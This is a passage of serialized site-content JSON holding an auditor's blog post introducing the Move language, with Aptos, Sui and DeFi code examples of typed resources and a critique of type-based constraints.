transaction.",{"title":7,"searchDepth":243,"depth":243,"links":8043},[8044,8045,8046,8047,8048],{"id":7737,"depth":243,"text":7740},{"id":7758,"depth":243,"text":7761},{"id":7879,"depth":243,"text":7882},{"id":4195,"depth":243,"text":4198},{"id":8019,"depth":243,"text":8022},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":8053,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8054,"description":8055,"author":8056,"image":8057,"date":8061,"isFeatured":18,"onBlogPage":18,"body":8062,"_type":5202,"_id":11588,"_source":5204,"_file":11589,"_stem":11590,"_extension":5207},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":8058,"height":8059,"width":8060},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":20,"children":8063,"toc":11583},[8064,8069,8074,8093,8099,8111,8209,8217,8337,8345,8367,8520,8525,8783,8804,8839,8844,8864,8869,8880,8892,9103,9115,9129,9142,9399,9411,9633,9638,9666,9812,9831,9836,10100,10112,10117,10130,10136,10141,10146,10158,10172,10177,10275,10287,10300,10574,10579,10591,10596,10650,10670,10675,11552,11556,11561,11566,11579],{"type":23,"tag":32,"props":8065,"children":8066},{},[8067],{"type":29,"value":8068},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":23,"tag":32,"props":8070,"children":8071},{},[8072],{"type":29,"value":8073},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":23,"tag":32,"props":8075,"children":8076},{},[8077,8079,8084,8086,8091],{"type":29,"value":8078},"In this piece I'll seek to discuss exactly ",{"type":23,"tag":2258,"props":8080,"children":8081},{},[8082],{"type":29,"value":8083},"how",{"type":29,"value":8085}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":23,"tag":2258,"props":8087,"children":8088},{},[8089],{"type":29,"value":8090},"structurally",{"type":29,"value":8092}," safer programs.",{"type":23,"tag":24,"props":8094,"children":8096},{"id":8095},"types",[8097],{"type":29,"value":8098},"Types",{"type":23,"tag":32,"props":8100,"children":8101},{},[8102,8104,8110],{"type":29,"value":8103},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":23,"tag":71,"props":8105,"children":8107},{"className":8106},[],[8108],{"type":29,"value":8109},"coin.move",{"type":29,"value":312},{"type":23,"tag":220,"props":8112,"children":8114},{"className":5320,"code":8113,"language":5319,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[8115],{"type":23,"tag":71,"props":8116,"children":8117},{"__ignoreMap":7},[8118,8126,8173,8181,8202],{"type":23,"tag":230,"props":8119,"children":8120},{"class":232,"line":233},[8121],{"type":23,"tag":230,"props":8122,"children":8123},{"style":237},[8124],{"type":29,"value":8125},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":23,"tag":230,"props":8127,"children":8128},{"class":232,"line":243},[8129,8134,8139,8144,8149,8154,8159,8164,8169],{"type":23,"tag":230,"props":8130,"children":8131},{"style":256},[8132],{"type":29,"value":8133},"  struct",{"type":23,"tag":230,"props":8135,"children":8136},{"style":676},[8137],{"type":29,"value":8138}," Coin",{"type":23,"tag":230,"props":8140,"children":8141},{"style":274},[8142],{"type":29,"value":8143},"\u003C",{"type":23,"tag":230,"props":8145,"children":8146},{"style":262},[8147],{"type":29,"value":8148},"phantom",{"type":23,"tag":230,"props":8150,"children":8151},{"style":676},[8152],{"type":29,"value":8153}," CoinType",{"type":23,"tag":230,"props":8155,"children":8156},{"style":274},[8157],{"type":29,"value":8158},"> ",{"type":23,"tag":230,"props":8160,"children":8161},{"style":262},[8162],{"type":29,"value":8163},"has",{"type":23,"tag":230,"props":8165,"children":8166},{"style":262},[8167],{"type":29,"value":8168}," store",{"type":23,"tag":230,"props":8170,"children":8171},{"style":274},[8172],{"type":29,"value":277},{"type":23,"tag":230,"props":8174,"children":8175},{"class":232,"line":252},[8176],{"type":23,"tag":230,"props":8177,"children":8178},{"style":237},[8179],{"type":29,"value":8180},"      /// Amount of coin this address has.\n",{"type":23,"tag":230,"props":8182,"children":8183},{"class":232,"line":280},[8184,8189,8193,8198],{"type":23,"tag":230,"props":8185,"children":8186},{"style":262},[8187],{"type":29,"value":8188},"      value",{"type":23,"tag":230,"props":8190,"children":8191},{"style":268},[8192],{"type":29,"value":218},{"type":23,"tag":230,"props":8194,"children":8195},{"style":676},[8196],{"type":29,"value":8197}," u64",{"type":23,"tag":230,"props":8199,"children":8200},{"style":274},[8201],{"type":29,"value":388},{"type":23,"tag":230,"props":8203,"children":8204},{"class":232,"line":334},[8205],{"type":23,"tag":230,"props":8206,"children":8207},{"style":274},[8208],{"type":29,"value":1331},{"type":23,"tag":32,"props":8210,"children":8211},{},[8212],{"type":23,"tag":2258,"props":8213,"children":8214},{},[8215],{"type":29,"value":8216},"aptos",{"type":23,"tag":220,"props":8218,"children":8220},{"className":5320,"code":8219,"language":5319,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[8221],{"type":23,"tag":71,"props":8222,"children":8223},{"__ignoreMap":7},[8224,8232,8282,8299,8330],{"type":23,"tag":230,"props":8225,"children":8226},{"class":232,"line":233},[8227],{"type":23,"tag":230,"props":8228,"children":8229},{"style":237},[8230],{"type":29,"value":8231},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":23,"tag":230,"props":8233,"children":8234},{"class":232,"line":243},[8235,8239,8243,8247,8251,8256,8260,8264,8269,8273,8278],{"type":23,"tag":230,"props":8236,"children":8237},{"style":256},[8238],{"type":29,"value":8133},{"type":23,"tag":230,"props":8240,"children":8241},{"style":676},[8242],{"type":29,"value":8138},{"type":23,"tag":230,"props":8244,"children":8245},{"style":274},[8246],{"type":29,"value":8143},{"type":23,"tag":230,"props":8248,"children":8249},{"style":262},[8250],{"type":29,"value":8148},{"type":23,"tag":230,"props":8252,"children":8253},{"style":676},[8254],{"type":29,"value":8255}," T",{"type":23,"tag":230,"props":8257,"children":8258},{"style":274},[8259],{"type":29,"value":8158},{"type":23,"tag":230,"props":8261,"children":8262},{"style":262},[8263],{"type":29,"value":8163},{"type":23,"tag":230,"props":8265,"children":8266},{"style":262},[8267],{"type":29,"value":8268}," key",{"type":23,"tag":230,"props":8270,"children":8271},{"style":274},[8272],{"type":29,"value":684},{"type":23,"tag":230,"props":8274,"children":8275},{"style":262},[8276],{"type":29,"value":8277},"store",{"type":23,"tag":230,"props":8279,"children":8280},{"style":274},[8281],{"type":29,"value":277},{"type":23,"tag":230,"props":8283,"children":8284},{"class":232,"line":252},[8285,8290,8294],{"type":23,"tag":230,"props":8286,"children":8287},{"style":262},[8288],{"type":29,"value":8289},"      id",{"type":23,"tag":230,"props":8291,"children":8292},{"style":268},[8293],{"type":29,"value":218},{"type":23,"tag":230,"props":8295,"children":8296},{"style":274},[8297],{"type":29,"value":8298}," UID,\n",{"type":23,"tag":230,"props":8300,"children":8301},{"class":232,"line":280},[8302,8307,8311,8316,8320,8325],{"type":23,"tag":230,"props":8303,"children":8304},{"style":262},[8305],{"type":29,"value":8306},"      balance",{"type":23,"tag":230,"props":8308,"children":8309},{"style":268},[8310],{"type":29,"value":218},{"type":23,"tag":230,"props":8312,"children":8313},{"style":676},[8314],{"type":29,"value":8315}," Balance",{"type":23,"tag":230,"props":8317,"children":8318},{"style":274},[8319],{"type":29,"value":8143},{"type":23,"tag":230,"props":8321,"children":8322},{"style":676},[8323],{"type":29,"value":8324},"T",{"type":23,"tag":230,"props":8326,"children":8327},{"style":274},[8328],{"type":29,"value":8329},">\n",{"type":23,"tag":230,"props":8331,"children":8332},{"class":232,"line":334},[8333],{"type":23,"tag":230,"props":8334,"children":8335},{"style":274},[8336],{"type":29,"value":1331},{"type":23,"tag":32,"props":8338,"children":8339},{},[8340],{"type":23,"tag":2258,"props":8341,"children":8342},{},[8343],{"type":29,"value":8344},"sui",{"type":23,"tag":32,"props":8346,"children":8347},{},[8348,8350,8357,8359,8365],{"type":29,"value":8349},"Pulling an example from ",{"type":23,"tag":181,"props":8351,"children":8354},{"href":8352,"rel":8353},"https://pontem.network/",[185],[8355],{"type":29,"value":8356},"Pontem Network's",{"type":29,"value":8358}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":23,"tag":71,"props":8360,"children":8362},{"className":8361},[],[8363],{"type":29,"value":8364},"LiquidityPool",{"type":29,"value":8366}," natively embeds this type information into it's fields.",{"type":23,"tag":220,"props":8368,"children":8370},{"className":5320,"code":8369,"language":5319,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[8371],{"type":23,"tag":71,"props":8372,"children":8373},{"__ignoreMap":7},[8374,8382,8446,8476,8505,8513],{"type":23,"tag":230,"props":8375,"children":8376},{"class":232,"line":233},[8377],{"type":23,"tag":230,"props":8378,"children":8379},{"style":237},[8380],{"type":29,"value":8381},"    /// Liquidity pool with reserves.\n",{"type":23,"tag":230,"props":8383,"children":8384},{"class":232,"line":243},[8385,8390,8395,8399,8403,8408,8412,8416,8421,8425,8429,8434,8438,8442],{"type":23,"tag":230,"props":8386,"children":8387},{"style":256},[8388],{"type":29,"value":8389},"    struct",{"type":23,"tag":230,"props":8391,"children":8392},{"style":676},[8393],{"type":29,"value":8394}," LiquidityPool",{"type":23,"tag":230,"props":8396,"children":8397},{"style":274},[8398],{"type":29,"value":8143},{"type":23,"tag":230,"props":8400,"children":8401},{"style":262},[8402],{"type":29,"value":8148},{"type":23,"tag":230,"props":8404,"children":8405},{"style":676},[8406],{"type":29,"value":8407}," X",{"type":23,"tag":230,"props":8409,"children":8410},{"style":274},[8411],{"type":29,"value":684},{"type":23,"tag":230,"props":8413,"children":8414},{"style":262},[8415],{"type":29,"value":8148},{"type":23,"tag":230,"props":8417,"children":8418},{"style":676},[8419],{"type":29,"value":8420}," Y",{"type":23,"tag":230,"props":8422,"children":8423},{"style":274},[8424],{"type":29,"value":684},{"type":23,"tag":230,"props":8426,"children":8427},{"style":262},[8428],{"type":29,"value":8148},{"type":23,"tag":230,"props":8430,"children":8431},{"style":274},[8432],{"type":29,"value":8433}," LP> ",{"type":23,"tag":230,"props":8435,"children":8436},{"style":262},[8437],{"type":29,"value":8163},{"type":23,"tag":230,"props":8439,"children":8440},{"style":262},[8441],{"type":29,"value":8268},{"type":23,"tag":230,"props":8443,"children":8444},{"style":274},[8445],{"type":29,"value":277},{"type":23,"tag":230,"props":8447,"children":8448},{"class":232,"line":252},[8449,8454,8458,8462,8466,8471],{"type":23,"tag":230,"props":8450,"children":8451},{"style":262},[8452],{"type":29,"value":8453},"        coin_x_reserve",{"type":23,"tag":230,"props":8455,"children":8456},{"style":268},[8457],{"type":29,"value":218},{"type":23,"tag":230,"props":8459,"children":8460},{"style":676},[8461],{"type":29,"value":8138},{"type":23,"tag":230,"props":8463,"children":8464},{"style":274},[8465],{"type":29,"value":8143},{"type":23,"tag":230,"props":8467,"children":8468},{"style":676},[8469],{"type":29,"value":8470},"X",{"type":23,"tag":230,"props":8472,"children":8473},{"style":274},[8474],{"type":29,"value":8475},">,\n",{"type":23,"tag":230,"props":8477,"children":8478},{"class":232,"line":280},[8479,8484,8488,8492,8496,8501],{"type":23,"tag":230,"props":8480,"children":8481},{"style":262},[8482],{"type":29,"value":8483},"        coin_y_reserve",{"type":23,"tag":230,"props":8485,"children":8486},{"style":268},[8487],{"type":29,"value":218},{"type":23,"tag":230,"props":8489,"children":8490},{"style":676},[8491],{"type":29,"value":8138},{"type":23,"tag":230,"props":8493,"children":8494},{"style":274},[8495],{"type":29,"value":8143},{"type":23,"tag":230,"props":8497,"children":8498},{"style":676},[8499],{"type":29,"value":8500},"Y",{"type":23,"tag":230,"props":8502,"children":8503},{"style":274},[8504],{"type":29,"value":8475},{"type":23,"tag":230,"props":8506,"children":8507},{"class":232,"line":334},[8508],{"type":23,"tag":230,"props":8509,"children":8510},{"style":237},[8511],{"type":29,"value":8512},"        // ...\n",{"type":23,"tag":230,"props":8514,"children":8515},{"class":232,"line":371},[8516],{"type":23,"tag":230,"props":8517,"children":8518},{"style":274},[8519],{"type":29,"value":1552},{"type":23,"tag":32,"props":8521,"children":8522},{},[8523],{"type":29,"value":8524},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":23,"tag":220,"props":8526,"children":8528},{"className":5320,"code":8527,"language":5319,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[8529],{"type":23,"tag":71,"props":8530,"children":8531},{"__ignoreMap":7},[8532,8571,8592,8620,8648,8699,8707,8714],{"type":23,"tag":230,"props":8533,"children":8534},{"class":232,"line":233},[8535,8540,8545,8550,8554,8558,8562,8566],{"type":23,"tag":230,"props":8536,"children":8537},{"style":262},[8538],{"type":29,"value":8539},"      public",{"type":23,"tag":230,"props":8541,"children":8542},{"style":262},[8543],{"type":29,"value":8544}," fun",{"type":23,"tag":230,"props":8546,"children":8547},{"style":262},[8548],{"type":29,"value":8549}," mint",{"type":23,"tag":230,"props":8551,"children":8552},{"style":274},[8553],{"type":29,"value":8143},{"type":23,"tag":230,"props":8555,"children":8556},{"style":676},[8557],{"type":29,"value":8470},{"type":23,"tag":230,"props":8559,"children":8560},{"style":274},[8561],{"type":29,"value":684},{"type":23,"tag":230,"props":8563,"children":8564},{"style":676},[8565],{"type":29,"value":8500},{"type":23,"tag":230,"props":8567,"children":8568},{"style":274},[8569],{"type":29,"value":8570},", LP>(\n",{"type":23,"tag":230,"props":8572,"children":8573},{"class":232,"line":243},[8574,8579,8583,8588],{"type":23,"tag":230,"props":8575,"children":8576},{"style":262},[8577],{"type":29,"value":8578},"          pool_addr",{"type":23,"tag":230,"props":8580,"children":8581},{"style":268},[8582],{"type":29,"value":218},{"type":23,"tag":230,"props":8584,"children":8585},{"style":262},[8586],{"type":29,"value":8587}," address",{"type":23,"tag":230,"props":8589,"children":8590},{"style":274},[8591],{"type":29,"value":388},{"type":23,"tag":230,"props":8593,"children":8594},{"class":232,"line":252},[8595,8600,8604,8608,8612,8616],{"type":23,"tag":230,"props":8596,"children":8597},{"style":262},[8598],{"type":29,"value":8599},"          coin_x",{"type":23,"tag":230,"props":8601,"children":8602},{"style":268},[8603],{"type":29,"value":218},{"type":23,"tag":230,"props":8605,"children":8606},{"style":676},[8607],{"type":29,"value":8138},{"type":23,"tag":230,"props":8609,"children":8610},{"style":274},[8611],{"type":29,"value":8143},{"type":23,"tag":230,"props":8613,"children":8614},{"style":676},[8615],{"type":29,"value":8470},{"type":23,"tag":230,"props":8617,"children":8618},{"style":274},[8619],{"type":29,"value":8475},{"type":23,"tag":230,"props":8621,"children":8622},{"class":232,"line":280},[8623,8628,8632,8636,8640,8644],{"type":23,"tag":230,"props":8624,"children":8625},{"style":262},[8626],{"type":29,"value":8627},"          coin_y",{"type":23,"tag":230,"props":8629,"children":8630},{"style":268},[8631],{"type":29,"value":218},{"type":23,"tag":230,"props":8633,"children":8634},{"style":676},[8635],{"type":29,"value":8138},{"type":23,"tag":230,"props":8637,"children":8638},{"style":274},[8639],{"type":29,"value":8143},{"type":23,"tag":230,"props":8641,"children":8642},{"style":676},[8643],{"type":29,"value":8500},{"type":23,"tag":230,"props":8645,"children":8646},{"style":274},[8647],{"type":29,"value":8329},{"type":23,"tag":230,"props":8649,"children":8650},{"class":232,"line":334},[8651,8656,8660,8664,8668,8673,8677,8682,8686,8690,8695],{"type":23,"tag":230,"props":8652,"children":8653},{"style":274},[8654],{"type":29,"value":8655},"      )",{"type":23,"tag":230,"props":8657,"children":8658},{"style":268},[8659],{"type":29,"value":218},{"type":23,"tag":230,"props":8661,"children":8662},{"style":676},[8663],{"type":29,"value":8138},{"type":23,"tag":230,"props":8665,"children":8666},{"style":274},[8667],{"type":29,"value":8143},{"type":23,"tag":230,"props":8669,"children":8670},{"style":676},[8671],{"type":29,"value":8672},"LP",{"type":23,"tag":230,"props":8674,"children":8675},{"style":274},[8676],{"type":29,"value":8158},{"type":23,"tag":230,"props":8678,"children":8679},{"style":262},[8680],{"type":29,"value":8681},"acquires",{"type":23,"tag":230,"props":8683,"children":8684},{"style":676},[8685],{"type":29,"value":8394},{"type":23,"tag":230,"props":8687,"children":8688},{"style":274},[8689],{"type":29,"value":684},{"type":23,"tag":230,"props":8691,"children":8692},{"style":676},[8693],{"type":29,"value":8694},"EventsStore",{"type":23,"tag":230,"props":8696,"children":8697},{"style":274},[8698],{"type":29,"value":277},{"type":23,"tag":230,"props":8700,"children":8701},{"class":232,"line":371},[8702],{"type":23,"tag":230,"props":8703,"children":8704},{"style":237},[8705],{"type":29,"value":8706},"          // ...\n",{"type":23,"tag":230,"props":8708,"children":8709},{"class":232,"line":391},[8710],{"type":23,"tag":230,"props":8711,"children":8712},{"emptyLinePlaceholder":18},[8713],{"type":29,"value":459},{"type":23,"tag":230,"props":8715,"children":8716},{"class":232,"line":400},[8717,8722,8726,8731,8735,8740,8744,8748,8753,8757,8761,8765,8769,8774,8779],{"type":23,"tag":230,"props":8718,"children":8719},{"style":256},[8720],{"type":29,"value":8721},"          let",{"type":23,"tag":230,"props":8723,"children":8724},{"style":274},[8725],{"type":29,"value":664},{"type":23,"tag":230,"props":8727,"children":8728},{"style":262},[8729],{"type":29,"value":8730},"x_reserve_size",{"type":23,"tag":230,"props":8732,"children":8733},{"style":274},[8734],{"type":29,"value":684},{"type":23,"tag":230,"props":8736,"children":8737},{"style":262},[8738],{"type":29,"value":8739},"y_reserve_size",{"type":23,"tag":230,"props":8741,"children":8742},{"style":274},[8743],{"type":29,"value":703},{"type":23,"tag":230,"props":8745,"children":8746},{"style":268},[8747],{"type":29,"value":863},{"type":23,"tag":230,"props":8749,"children":8750},{"style":262},[8751],{"type":29,"value":8752}," get_reserves_size",{"type":23,"tag":230,"props":8754,"children":8755},{"style":274},[8756],{"type":29,"value":8143},{"type":23,"tag":230,"props":8758,"children":8759},{"style":676},[8760],{"type":29,"value":8470},{"type":23,"tag":230,"props":8762,"children":8763},{"style":274},[8764],{"type":29,"value":684},{"type":23,"tag":230,"props":8766,"children":8767},{"style":676},[8768],{"type":29,"value":8500},{"type":23,"tag":230,"props":8770,"children":8771},{"style":274},[8772],{"type":29,"value":8773},", LP>(",{"type":23,"tag":230,"props":8775,"children":8776},{"style":262},[8777],{"type":29,"value":8778},"pool_addr",{"type":23,"tag":230,"props":8780,"children":8781},{"style":274},[8782],{"type":29,"value":753},{"type":23,"tag":32,"props":8784,"children":8785},{},[8786,8788,8794,8795,8802],{"type":29,"value":8787},"As an aside, this generic type information is implemented at runtime in the ",{"type":23,"tag":71,"props":8789,"children":8791},{"className":8790},[],[8792],{"type":29,"value":8793},"ty_args",{"type":29,"value":3374},{"type":23,"tag":181,"props":8796,"children":8799},{"href":8797,"rel":8798},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[185],[8800],{"type":29,"value":8801},"at the vm level",{"type":29,"value":8803},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":23,"tag":32,"props":8805,"children":8806},{},[8807,8809,8815,8817,8823,8825,8831,8832,8838],{"type":29,"value":8808},"In pseucode, this checks that ",{"type":23,"tag":71,"props":8810,"children":8812},{"className":8811},[],[8813],{"type":29,"value":8814},"coin_x.type",{"type":29,"value":8816}," is equal to ",{"type":23,"tag":71,"props":8818,"children":8820},{"className":8819},[],[8821],{"type":29,"value":8822},"pool.x_type",{"type":29,"value":8824},", and ",{"type":23,"tag":71,"props":8826,"children":8828},{"className":8827},[],[8829],{"type":29,"value":8830},"coin_y.type",{"type":29,"value":8816},{"type":23,"tag":71,"props":8833,"children":8835},{"className":8834},[],[8836],{"type":29,"value":8837},"pool.y_type",{"type":29,"value":312},{"type":23,"tag":32,"props":8840,"children":8841},{},[8842],{"type":29,"value":8843},"This type system has two advantages",{"type":23,"tag":144,"props":8845,"children":8846},{},[8847,8859],{"type":23,"tag":102,"props":8848,"children":8849},{},[8850,8852,8857],{"type":29,"value":8851},"It's required. The type parameter ",{"type":23,"tag":2258,"props":8853,"children":8854},{},[8855],{"type":29,"value":8856},"must",{"type":29,"value":8858}," be specified so it's impossible to forget such a constraint",{"type":23,"tag":102,"props":8860,"children":8861},{},[8862],{"type":29,"value":8863},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":23,"tag":32,"props":8865,"children":8866},{},[8867],{"type":29,"value":8868},"However, this system isn't perfect.",{"type":23,"tag":32,"props":8870,"children":8871},{},[8872,8874,8879],{"type":29,"value":8873},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":23,"tag":2302,"props":8875,"children":8876},{},[8877],{"type":29,"value":8878},"an anti-pattern",{"type":29,"value":312},{"type":23,"tag":32,"props":8881,"children":8882},{},[8883,8885,8891],{"type":29,"value":8884},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":23,"tag":71,"props":8886,"children":8888},{"className":8887},[],[8889],{"type":29,"value":8890},"CoinInfo\u003CCoinType>",{"type":29,"value":312},{"type":23,"tag":220,"props":8893,"children":8895},{"className":5320,"code":8894,"language":5319,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[8896],{"type":23,"tag":71,"props":8897,"children":8898},{"__ignoreMap":7},[8899,8926,8934,9003,9010,9017,9029,9073,9095],{"type":23,"tag":230,"props":8900,"children":8901},{"class":232,"line":233},[8902,8907,8912,8916,8921],{"type":23,"tag":230,"props":8903,"children":8904},{"style":262},[8905],{"type":29,"value":8906},"  fun",{"type":23,"tag":230,"props":8908,"children":8909},{"style":262},[8910],{"type":29,"value":8911}," initialize_internal",{"type":23,"tag":230,"props":8913,"children":8914},{"style":274},[8915],{"type":29,"value":8143},{"type":23,"tag":230,"props":8917,"children":8918},{"style":676},[8919],{"type":29,"value":8920},"CoinType",{"type":23,"tag":230,"props":8922,"children":8923},{"style":274},[8924],{"type":29,"value":8925},">(\n",{"type":23,"tag":230,"props":8927,"children":8928},{"class":232,"line":243},[8929],{"type":23,"tag":230,"props":8930,"children":8931},{"style":237},[8932],{"type":29,"value":8933},"      // ...\n",{"type":23,"tag":230,"props":8935,"children":8936},{"class":232,"line":252},[8937,8942,8946,8950,8955,8959,8963,8968,8973,8977,8981,8985,8990,8994,8998],{"type":23,"tag":230,"props":8938,"children":8939},{"style":274},[8940],{"type":29,"value":8941},"  )",{"type":23,"tag":230,"props":8943,"children":8944},{"style":268},[8945],{"type":29,"value":218},{"type":23,"tag":230,"props":8947,"children":8948},{"style":274},[8949],{"type":29,"value":664},{"type":23,"tag":230,"props":8951,"children":8952},{"style":676},[8953],{"type":29,"value":8954},"BurnCapability",{"type":23,"tag":230,"props":8956,"children":8957},{"style":274},[8958],{"type":29,"value":8143},{"type":23,"tag":230,"props":8960,"children":8961},{"style":676},[8962],{"type":29,"value":8920},{"type":23,"tag":230,"props":8964,"children":8965},{"style":274},[8966],{"type":29,"value":8967},">, ",{"type":23,"tag":230,"props":8969,"children":8970},{"style":676},[8971],{"type":29,"value":8972},"FreezeCapability",{"type":23,"tag":230,"props":8974,"children":8975},{"style":274},[8976],{"type":29,"value":8143},{"type":23,"tag":230,"props":8978,"children":8979},{"style":676},[8980],{"type":29,"value":8920},{"type":23,"tag":230,"props":8982,"children":8983},{"style":274},[8984],{"type":29,"value":8967},{"type":23,"tag":230,"props":8986,"children":8987},{"style":676},[8988],{"type":29,"value":8989},"MintCapability",{"type":23,"tag":230,"props":8991,"children":8992},{"style":274},[8993],{"type":29,"value":8143},{"type":23,"tag":230,"props":8995,"children":8996},{"style":676},[8997],{"type":29,"value":8920},{"type":23,"tag":230,"props":8999,"children":9000},{"style":274},[9001],{"type":29,"value":9002},">) {\n",{"type":23,"tag":230,"props":9004,"children":9005},{"class":232,"line":280},[9006],{"type":23,"tag":230,"props":9007,"children":9008},{"style":237},[9009],{"type":29,"value":8933},{"type":23,"tag":230,"props":9011,"children":9012},{"class":232,"line":334},[9013],{"type":23,"tag":230,"props":9014,"children":9015},{"emptyLinePlaceholder":18},[9016],{"type":29,"value":459},{"type":23,"tag":230,"props":9018,"children":9019},{"class":232,"line":371},[9020,9025],{"type":23,"tag":230,"props":9021,"children":9022},{"style":294},[9023],{"type":29,"value":9024},"      assert!",{"type":23,"tag":230,"props":9026,"children":9027},{"style":274},[9028],{"type":29,"value":619},{"type":23,"tag":230,"props":9030,"children":9031},{"class":232,"line":391},[9032,9037,9042,9046,9051,9055,9059,9064,9069],{"type":23,"tag":230,"props":9033,"children":9034},{"style":268},[9035],{"type":29,"value":9036},"          !",{"type":23,"tag":230,"props":9038,"children":9039},{"style":262},[9040],{"type":29,"value":9041},"exists",{"type":23,"tag":230,"props":9043,"children":9044},{"style":274},[9045],{"type":29,"value":8143},{"type":23,"tag":230,"props":9047,"children":9048},{"style":676},[9049],{"type":29,"value":9050},"CoinInfo",{"type":23,"tag":230,"props":9052,"children":9053},{"style":274},[9054],{"type":29,"value":8143},{"type":23,"tag":230,"props":9056,"children":9057},{"style":676},[9058],{"type":29,"value":8920},{"type":23,"tag":230,"props":9060,"children":9061},{"style":274},[9062],{"type":29,"value":9063},">>(",{"type":23,"tag":230,"props":9065,"children":9066},{"style":262},[9067],{"type":29,"value":9068},"account_addr",{"type":23,"tag":230,"props":9070,"children":9071},{"style":274},[9072],{"type":29,"value":331},{"type":23,"tag":230,"props":9074,"children":9075},{"class":232,"line":400},[9076,9081,9085,9090],{"type":23,"tag":230,"props":9077,"children":9078},{"style":274},[9079],{"type":29,"value":9080},"          error",{"type":23,"tag":230,"props":9082,"children":9083},{"style":268},[9084],{"type":29,"value":5818},{"type":23,"tag":230,"props":9086,"children":9087},{"style":294},[9088],{"type":29,"value":9089},"already_exists",{"type":23,"tag":230,"props":9091,"children":9092},{"style":274},[9093],{"type":29,"value":9094},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":23,"tag":230,"props":9096,"children":9097},{"class":232,"line":444},[9098],{"type":23,"tag":230,"props":9099,"children":9100},{"style":274},[9101],{"type":29,"value":9102},"      );\n",{"type":23,"tag":32,"props":9104,"children":9105},{},[9106,9108,9113],{"type":29,"value":9107},"While this ",{"type":23,"tag":71,"props":9109,"children":9111},{"className":9110},[],[9112],{"type":29,"value":9050},{"type":29,"value":9114}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":23,"tag":32,"props":9116,"children":9117},{},[9118,9120,9127],{"type":29,"value":9119},"Similarly, consider ",{"type":23,"tag":181,"props":9121,"children":9124},{"href":9122,"rel":9123},"https://ariesmarkets.xyz/",[185],[9125],{"type":29,"value":9126},"Aries Markets",{"type":29,"value":9128},", a lending/borrowing protocol building on Aptos.",{"type":23,"tag":32,"props":9130,"children":9131},{},[9132,9134,9140],{"type":29,"value":9133},"Their ",{"type":23,"tag":71,"props":9135,"children":9137},{"className":9136},[],[9138],{"type":29,"value":9139},"ReserveCoinContainer",{"type":29,"value":9141}," struct stores all the relevant data and resources for managing a lending market.",{"type":23,"tag":220,"props":9143,"children":9145},{"className":5320,"code":9144,"language":5319,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[9146],{"type":23,"tag":71,"props":9147,"children":9148},{"__ignoreMap":7},[9149,9157,9165,9206,9214,9243,9251,9288,9296,9333,9341,9378,9385,9392],{"type":23,"tag":230,"props":9150,"children":9151},{"class":232,"line":233},[9152],{"type":23,"tag":230,"props":9153,"children":9154},{"style":237},[9155],{"type":29,"value":9156},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":23,"tag":230,"props":9158,"children":9159},{"class":232,"line":243},[9160],{"type":23,"tag":230,"props":9161,"children":9162},{"style":237},[9163],{"type":29,"value":9164},"  /// Stored as a 